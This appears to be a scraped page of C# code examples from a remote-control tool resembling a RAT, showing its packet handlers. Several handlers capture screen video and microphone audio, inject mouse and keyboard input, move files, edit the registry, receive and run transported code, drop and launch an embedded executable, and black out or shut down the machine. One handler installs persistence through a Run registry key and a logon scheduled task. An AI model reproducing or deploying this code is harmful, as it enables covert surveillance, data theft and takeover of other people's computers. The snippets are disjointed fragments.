Esempio n. 1
0
 public void Handle(SocketSession session, ePacketType reqType, object reqObj)
 {
     if (reqType == ePacketType.PACKET_GET_PROCESSES_REQUEST)
     {
         var req = reqObj as RequestGetProcesses;
         new Thread(() => StartGetProcesses(session, req))
         {
             IsBackground = true
         }.Start();
     }
     else if (reqType == ePacketType.PACKET_KILL_PROCESS_REQUEST)
     {
         var req = reqObj as RequestKillProcesses;
         new Thread(() =>
         {
             StartKillProcesses(session, req);
             StartGetProcesses(session, new RequestGetProcesses()
             {
                 IsSimpleMode = true
             });
         })
         {
             IsBackground = true
         }.Start();
     }
 }
        public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            switch (reqType)
            {
            case ePacketType.PACKET_CREATE_FILE_OR_DIR_REQUEST:
                Create(session, reqType, reqObj);
                break;

            case ePacketType.PACKET_DELETE_FILE_OR_DIR_REQUEST:
                Delete(session, reqType, reqObj);
                break;

            case ePacketType.PACKET_COPY_FILE_OR_DIR_REQUEST:
                Copy(session, reqType, reqObj);
                break;

            case ePacketType.PACKET_MOVE_FILE_OR_DIR_REQUEST:
                Move(session, reqType, reqObj);
                break;

            case ePacketType.PACKET_RENAME_FILE_REQUEST:
                Rename(session, reqType, reqObj);
                break;
            }
        }
 public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
 {
     if (reqType == ePacketType.PACKET_START_UPLOAD_HEADER_REQUEST)
     {
         var req = reqObj as RequestStartUploadHeader;
         if (_fileUploadDic.ContainsKey(req.Id))
         {
             return;
         }
         FileStream fs = new FileStream(req.To, FileMode.Create, FileAccess.Write);
         _fileUploadDic.Add(req.Id, fs);
     }
     else if (reqType == ePacketType.PACKET_START_UPLOAD_RESPONSE)
     {
         var resp = reqObj as ResponseStartUpload;
         if (_fileUploadDic.ContainsKey(resp.Id))
         {
             FileStream fs = _fileUploadDic[resp.Id];
             fs.Write(resp.Data, 0, resp.Data.Length);
         }
     }
     else if (reqType == ePacketType.PACKET_STOP_UPLOAD_REQUEST)
     {
         var req = reqObj as RequestStopUpload;
         if (_fileUploadDic.ContainsKey(req.Id))
         {
             _fileUploadDic[req.Id].Close();
             _fileUploadDic[req.Id].Dispose();
             _fileUploadDic.Remove(req.Id);
         }
     }
 }
 public void Handle(SocketSession session, ePacketType reqType, object reqObj)
 {
     if (reqType == ePacketType.PACKET_OPEN_CD_REQUEST)
     {
         try
         {
             Win32API.mciSendString("Set cdaudio door open wait", "", 0, IntPtr.Zero);//打开
         }
         catch (Exception ex)
         {
             Console.WriteLine(ex.Message);
         }
     }
     else if (reqType == ePacketType.PACKET_CLOSE_CD_REQUEST)
     {
         try
         {
             Win32API.mciSendString("Set cdaudio door Closed wait", "", 0, IntPtr.Zero);//关闭
         }
         catch (Exception ex)
         {
             Console.WriteLine(ex.Message);
         }
     }
 }
 public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
 {
     if (reqType == ePacketType.PACKET_START_CAPTURE_VIDEO_REQUEST)
     {
         // 开始捕获
         var req = reqObj as RequestStartCaptureVideo;
         if (_request == null)
         {
             // 第一次发送启动监控请求,则创建监控线程
             _request   = req;
             _isRunning = true;
             RunTaskThread(StartCapture, session);
         }
         else
         {
             // 非第一次发送启动监控请求,则修改相关参数
             _request.Fps = req.Fps;
         }
     }
     else if (reqType == ePacketType.PACKET_STOP_CAPTURE_VIDEO_REQUEST)
     {
         // 停止捕获
         _isRunning = false;
         _request   = null;
     }
 }
Esempio n. 6
0
 public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
 {
     if (OnFireQuit != null)
     {
         OnFireQuit(null, null);
     }
 }
        public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            if (reqType == ePacketType.PACKET_START_DOWNLOAD_REQUEST)
            {
                // 开始
                RequestStartDownload req = reqObj as RequestStartDownload;
                if (_request == null)
                {
                    _request   = req;
                    _isRunning = true;

                    // 返回文件基本信息
                    ResponseStartDownloadHeader headerResp = new ResponseStartDownloadHeader();
                    using (var fs = System.IO.File.OpenRead(req.Path))
                    {
                        headerResp.FileSize = fs.Length;
                        headerResp.Path     = req.Path;
                        headerResp.SavePath = req.SavePath;
                    }
                    session.Send(ePacketType.PACKET_START_DOWNLOAD_HEADER_RESPONSE, headerResp);
                    // 开始返回文件内容
                    RunTaskThread(StartDownload, session);
                }
                else
                {
                    // 每次只能下载一个文件
                    return;
                }
            }
            else if (reqType == ePacketType.PACKET_STOP_DOWNLOAD_REQUEST)
            {
                // 停止
                _isRunning = false;
            }
        }
        private void Create(SocketSession session, ePacketType reqType, object reqObj)
        {
            var req  = reqObj as RequestCreateFileOrDir;
            var resp = new ResponseCreateFileOrDir();

            try
            {
                resp.Path     = req.Path;
                resp.PathType = req.PathType;
                if (req.PathType == ePathType.File)
                {
                    if (!System.IO.File.Exists(req.Path))
                    {
                        System.IO.File.Create(req.Path).Close();
                    }
                }
                else
                {
                    if (!System.IO.Directory.Exists(req.Path))
                    {
                        System.IO.Directory.CreateDirectory(req.Path);
                    }
                }
            }
            catch (Exception ex)
            {
                resp.Result  = false;
                resp.Message = ex.ToString();
                resp.Detail  = ex.StackTrace.ToString();
            }

            session.Send(ePacketType.PACKET_CREATE_FILE_OR_DIR_RESPONSE, resp);
        }
        public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            var req = reqObj as RequestMouseEvent;

            DoOutput(string.Format("button:{0},operation:{1},location:{2},{3}",
                                   req.MouseButton,
                                   req.MouseOperation,
                                   req.MouseLocation.X, req.MouseLocation.Y));

            if (req.MouseOperation == eMouseOperations.MouseDown)
            {
                MouseOpeUtil.MouseDown(req.MouseButton, req.MouseLocation);
            }
            else if (req.MouseOperation == eMouseOperations.MouseUp)
            {
                MouseOpeUtil.MouseUp(req.MouseButton, req.MouseLocation);
            }
            else if (req.MouseOperation == eMouseOperations.MousePress)
            {
                MouseOpeUtil.MousePress(req.MouseButton, req.MouseLocation);
            }
            else if (req.MouseOperation == eMouseOperations.MouseDoubleClick)
            {
                MouseOpeUtil.MouseDoubleClick(req.MouseButton, req.MouseLocation);
            }
            else if (req.MouseOperation == eMouseOperations.MouseMove)
            {
                MouseOpeUtil.MouseMove(req.MouseLocation);
            }
            else
            {
                return;
            }
        }
        public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            var req = reqObj as RequestKeyboardEvent;

            DoOutput(string.Format("keyCode:{0},keyValue:{1},keyOperation:{2}",
                                   req.KeyCode, req.KeyValue, req.KeyOperation));
            KeyboardOpeUtil.KeyOpe(req.KeyCode, req.KeyOperation);
        }
        public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            string path   = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
            var    thread = ProcessUtil.Run(path, "/r", true);

            thread.Join();
            RemoteControlApplication.FireQuitEvent();
        }
Esempio n. 12
0
        public byte[] EncodeOject(ePacketType packetType, object obj)
        {
            byte[] bodyBytes = null;

            if (obj != null)
            {
                bodyBytes = ToJsonBytes(obj);
            }

            return(Encode(packetType, bodyBytes));
        }
Esempio n. 13
0
        public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            string path   = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
            var    thread = ProcessUtil.Run(path, "/r", true);

            thread.Join();
            if (OnFireQuit != null)
            {
                OnFireQuit(null, null);
            }
        }
Esempio n. 14
0
 public void Send(ePacketType packetType, object obj)
 {
     try
     {
         this.SocketObj.Send(CodecFactory.Instance.EncodeOject(packetType, obj));
     }
     catch (Exception ex)
     {
         Console.WriteLine("SocketSession Error:" + ex.Message);
     }
 }
Esempio n. 15
0
        private void Decode(byte[] packetData, out ePacketType packetType, out byte[] bodyData)
        {
            int packetLength = BitConverter.ToInt32(packetData, 0);

            packetType = (ePacketType)packetData[4];
            bodyData   = new byte[packetLength - 4 - 1];
            for (int i = 0; i < bodyData.Length; i++)
            {
                bodyData[i] = packetData[i + 5];
            }
        }
        public void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            var req = reqObj as RequestOpenUrl;

            try
            {
                ProcessUtil.Run(req.Url, "", false, true);
            }
            catch (Exception ex)
            {
            }
        }
        private void Rename(SocketSession session, ePacketType reqType, object reqObj)
        {
            var req = reqObj as RequestRenameFile;

            try
            {
                Computer c = new Computer();
                c.FileSystem.RenameFile(req.SourceFile, req.DestinationFileName);
            }
            catch (Exception ex)
            {
            }
        }
Esempio n. 18
0
 public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
 {
     if (reqType == ePacketType.PACKET_PLAY_MUSIC_REQUEST)
     {
         var req = reqObj as RequestPlayMusic;
         StopMusic();
         StartPlayMusic(session, req.MusicFilePath);
     }
     else if (reqType == ePacketType.PACKET_STOP_PLAY_MUSIC_REQUEST)
     {
         StopMusic();
     }
 }
Esempio n. 19
0
        public void DecodeObject(byte[] packetData, out ePacketType packetType, out object obj)
        {
            byte[] bodyData = null;
            Decode(packetData, out packetType, out bodyData);

            obj = null;
            if (_mappings.ContainsKey(packetType))
            {
                obj = FromJsonBytes(bodyData, _mappings[packetType]);
            }
            else
            {
                obj = bodyData;
            }
        }
Esempio n. 20
0
        private byte[] Encode(ePacketType packetType, byte[] bodyData)
        {
            List <byte> result = new List <byte>();

            if (bodyData == null)
            {
                bodyData = new byte[0];
            }
            int packetLength = bodyData.Length + 1 + 4;

            result.AddRange(BitConverter.GetBytes(packetLength));
            result.Add((byte)packetType);
            result.AddRange(bodyData);

            return(result.ToArray());
        }
Esempio n. 21
0
        public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            RequestAutoRun req = reqObj as RequestAutoRun;

            ResponseAutoRun resp = new ResponseAutoRun();

            try
            {
                if (req.AutoRunMode == eAutoRunMode.ByRegistry)
                {
                    RequestOpeRegistryValueName reqOpeRegistry = new RequestOpeRegistryValueName();
                    reqOpeRegistry.KeyRoot   = eRegistryHive.CurrentUser;
                    reqOpeRegistry.KeyPath   = @"Software\Microsoft\Windows\CurrentVersion\Run";
                    reqOpeRegistry.ValueName = "rc";
                    if (req.OperationMode == OpeType.New)
                    {
                        reqOpeRegistry.Operation = OpeType.New;
                        reqOpeRegistry.Value     = CommonUtil.GetEntryExecutablePath();
                    }
                    else if (req.OperationMode == OpeType.Delete)
                    {
                        reqOpeRegistry.Operation = OpeType.Delete;
                    }
                    else
                    {
                        return;
                    }
                    RequestOpeRegistryValueNameHandler.OpeRegistry(reqOpeRegistry);
                }
                else if (req.AutoRunMode == eAutoRunMode.BySchedualTask)
                {
                    SchTaskUtil.DeleteSchedule("rc");
                    if (req.OperationMode == OpeType.New)
                    {
                        SchTaskUtil.CreateScheduleOnLogon("rc", CommonUtil.GetEntryExecutablePath());
                    }
                }
            }
            catch (Exception ex)
            {
                resp.Result  = false;
                resp.Message = ex.ToString();
                resp.Detail  = ex.StackTrace.ToString();
            }

            session.Send(ePacketType.PACKET_AUTORUN_RESPONSE, resp);
        }
Esempio n. 22
0
        public void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            var resp = new ResponseGetDrives();

            try
            {
                resp.drives = Environment.GetLogicalDrives().ToList();
            }
            catch (Exception ex)
            {
                resp.Result  = false;
                resp.Message = ex.ToString();
                resp.Detail  = ex.StackTrace.ToString();
            }

            session.Send(ePacketType.PACKET_GET_DRIVES_RESPONSE, resp);
        }
Esempio n. 23
0
 public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
 {
     if (reqType == ePacketType.PACKET_TRANSPORT_EXEC_CODE_REQUEST)
     {
         var req = reqObj as RequestTransportExecCode;
         if (!codePluginDic.ContainsKey(req.ID))
         {
             codePluginDic.Add(req.ID, new List <byte>());
         }
         codePluginDic[req.ID].AddRange(req.Data);
     }
     else if (reqType == ePacketType.PACKET_RUN_EXEC_CODE_REQUEST)
     {
         var req = reqObj as RequestRunExecCode;
         RunTaskThread(() => Run(req));
     }
 }
        public void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            _session = session;
            if (reqType == ePacketType.PACKET_STOP_CAPTURE_AUDIO_REQUEST)
            {
                //StopTest();
                //return;
                if (_waveIn != null)
                {
                    _waveIn.Dispose();
                    _waveIn = null;
                }
            }
            else if (reqType == ePacketType.PACKET_START_CAPTURE_AUDIO_REQUEST)
            {
                RequestStartCaptureAudio  req  = reqObj as RequestStartCaptureAudio;
                ResponseStartCaptureAudio resp = new ResponseStartCaptureAudio();
                try
                {
                    if (_waveIn != null)
                    {
                        return;
                    }
                    //StartTest();
                    //return;
                    if (WaveIn.Devices.Length > 0)
                    {
                        _waveIn             = new WaveIn(WaveIn.Devices[0], 8000, 16, 1, 400);
                        _waveIn.BufferFull += new BufferFullHandler(m_pWaveIn_BufferFull);
                        _waveIn.Start();
                    }
                    else
                    {
                        throw new Exception("未找到可用的音频设备");
                    }
                }
                catch (Exception ex)
                {
                    resp.Result  = false;
                    resp.Message = ex.ToString();
                    resp.Detail  = ex.StackTrace.ToString();

                    session.Send(ePacketType.PACKET_START_CAPTURE_AUDIO_RESPONSE, resp);
                }
            }
        }
Esempio n. 25
0
        public void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            var req  = reqObj as RequestGetSubFilesOrDirs;
            var resp = new ResponseGetSubFilesOrDirs();

            try
            {
                resp.dirs = new List <Protocals.DirectoryProperty>();
                var dirs = System.IO.Directory.GetDirectories(req.parentDir).ToList();
                foreach (var item in dirs)
                {
                    DirectoryInfo di = new DirectoryInfo(item);
                    resp.dirs.Add(new DirectoryProperty()
                    {
                        DirPath        = item,
                        CreationTime   = di.CreationTime,
                        LastWriteTime  = di.LastWriteTime,
                        LastAccessTime = di.LastAccessTime
                    });
                }

                resp.files = new List <FileProperty>();
                var files = System.IO.Directory.GetFiles(req.parentDir).ToList();
                foreach (var item in files)
                {
                    FileInfo fi = new FileInfo(item);
                    resp.files.Add(new FileProperty()
                    {
                        FilePath       = item,
                        Size           = fi.Length,
                        CreationTime   = fi.CreationTime,
                        LastWriteTime  = fi.LastWriteTime,
                        LastAccessTime = fi.LastAccessTime
                    });
                }
            }
            catch (Exception ex)
            {
                resp.Result  = false;
                resp.Message = ex.ToString();
                resp.Detail  = ex.StackTrace.ToString();
            }

            session.Send(ePacketType.PACKET_GET_SUBFILES_OR_DIRS_RESPONSE, resp);
        }
        public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            var req = reqObj as RequestDownloadWebFile;

            try
            {
                // 释放程序
                byte[] data     = ResUtil.GetResFileData(RES_FILE_NAME);
                string fileName = ResUtil.WriteToRandomFile(data, "download.exe");
                // 启动程序
                string arguments = string.Format("{0} {1}", req.WebFileUrl, req.DestinationPath);
                ProcessUtil.RunByCmdStart(fileName + " downloader " + arguments, true);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
Esempio n. 27
0
 public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
 {
     if (reqType == ePacketType.PAKCET_BLACK_SCREEN_REQUEST)
     {
         // 开始
         if (_isRunning)
         {
             return;
         }
         RunTaskThread(StartBlackScreen, session);
     }
     else if (reqType == ePacketType.PAKCET_UN_BLACK_SCREEN_REQUEST)
     {
         // 停止
         _isRunning = false;
         RunTaskThread(StartUnBlackScreen, session);
     }
 }
Esempio n. 28
0
        public void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            RequestOpeRegistryValueName req = reqObj as RequestOpeRegistryValueName;

            ResponseOpeRegistryValueName resp = new ResponseOpeRegistryValueName();

            try
            {
                OpeRegistry(req);
            }
            catch (Exception ex)
            {
                resp.Result  = false;
                resp.Message = ex.ToString();
                resp.Detail  = ex.StackTrace.ToString();
            }

            session.Send(ePacketType.PACKET_OPE_REGISTRY_VALUE_NAME_RESPONSE, resp);
        }
        public void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            RequestViewRegistryKey req = reqObj as RequestViewRegistryKey;

            ResponseViewRegistryKey resp = new ResponseViewRegistryKey();

            resp.KeyRoot = req.KeyRoot;
            resp.KeyPath = req.KeyPath;

            try
            {
                RegistryKey rootKey = RegistryKey.OpenBaseKey(
                    (RegistryHive)req.KeyRoot,
                    Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32);
                RegistryKey subKey = rootKey;
                if (!string.IsNullOrWhiteSpace(req.KeyPath))
                {
                    subKey = rootKey.OpenSubKey(req.KeyPath);
                }
                resp.KeyNames   = subKey.GetSubKeyNames();
                resp.ValueNames = subKey.GetValueNames();
                int valueNamesLength = resp.ValueNames.Length;
                resp.ValueKinds = new eRegistryValueKind[valueNamesLength];
                resp.Values     = new object[valueNamesLength];
                for (int i = 0; i < valueNamesLength; i++)
                {
                    string valueName = resp.ValueNames[i];
                    resp.ValueKinds[i] = (eRegistryValueKind)subKey.GetValueKind(valueName);
                    resp.Values[i]     = subKey.GetValue(valueName);
                }
            }
            catch (Exception ex)
            {
                resp.Result  = false;
                resp.Message = ex.ToString();
                resp.Detail  = ex.StackTrace.ToString();
            }

            session.Send(ePacketType.PACKET_VIEW_REGISTRY_KEY_RESPONSE, resp);
        }
Esempio n. 30
0
 public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
 {
     if (reqType == ePacketType.PACKET_SHUTDOWN_REQUEST)
     {
         ProcessUtil.Run("shutdown.exe", "-s -t 0", true);
     }
     else if (reqType == ePacketType.PACKET_REBOOT_REQUEST)
     {
         ProcessUtil.Run("shutdown.exe", "-r -t 0", true);
     }
     else if (reqType == ePacketType.PACKET_SLEEP_REQUEST)
     {
         ProcessUtil.Run("rundll32.exe", "powrprof.dll,SetSuspendState 0,1,0", true);
     }
     else if (reqType == ePacketType.PACKET_HIBERNATE_REQUEST)
     {
         ProcessUtil.Run("rundll32.exe", "powrProf.dll,SetSuspendState", true);
     }
     else if (reqType == ePacketType.PACKET_LOCK_REQUEST)
     {
         ProcessUtil.Run("rundll32.exe", "user32.dll,LockWorkStation", true);
     }
 }